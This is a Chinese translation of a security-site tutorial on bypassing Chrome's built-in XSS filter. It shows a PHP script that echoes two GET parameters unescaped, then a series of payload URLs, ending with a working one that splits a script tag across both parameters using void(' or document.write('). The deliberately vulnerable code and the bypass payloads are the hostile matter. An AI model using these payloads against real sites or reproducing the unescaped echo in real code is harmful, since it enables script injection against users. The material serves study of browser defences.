原文地址:http://cxsecurity.com/issue/WLB-2015080141

像你所熟知的,chrome处于安全原因,不会执行跨站脚本中的JS代码,并且通过这个方法阻止了很多XSS攻击。假如现在你有一个受XSS影响的PHP代码(chrome.php):

<?php

// Echo the value of parameter one
echo "This is text1:".$_GET['text1']."<br><br>";

// Echo the value of parameter two
echo "This is text2:".$_GET['text2']."<br><br>";

?>

这个PHP文件接收两个参数,并且未经任何过滤就输出,这允许你去运行JS代码了。如果你在chrome中测试类似下面的xss payload:

http://[HOSTNAME]/[PATH]/chrome.php?text1=<script>alert(/XSS/)</script>&text2=Something

你会发现他不会弹窗,并且JS代码显示出来了,而且还会发现你的代码被红色高亮了。这是因为chrome极高的安全性,如果你测试其他的类似代码,你会发现相同的结果。但是,我们尝试一下不闭合<script>标签,像这样:

http://[HOSTNAME]/[PATH]/chrome.php?text1=<script>alert(/XSS/)&text2=Something

代码又一次的被显示出来了,但是没有任何红色高亮的警告了,JS代码被作为HTML文本进行识别,因为没有闭合标签。现在必须要标签,试一下在$_GET['text2']中闭合。

http://[HOSTNAME]/[PATH]/chrome.php?text1=<script>alert(/XSS/)&text2=</script>

在这次测试中,你的代码完全的显示了出来,完全没有被红色高亮标记,但是又一次被视为HTML文本。我们来试一下用引号并且在两个引号中放一些非代码的文本!举个例子,使用void(''),在第一个参数中传入(',并且在另一个参数中使用')闭合。

现在试一下:

http://[HOSTNAME]/[PATH]/chrome.php?text1=<script>alert(/XSS/);void('&text2=')</script>

很棒,你发现弹窗了!你的JS代码被执行了!这正是我们想要的。你也可以使用document.write('')或其他的来代替void('')

上个例子:

http://[HOSTNAME]/[PATH]/chrome.php?text1=<script>alert(/XSS/);document.write('&text2=')</script>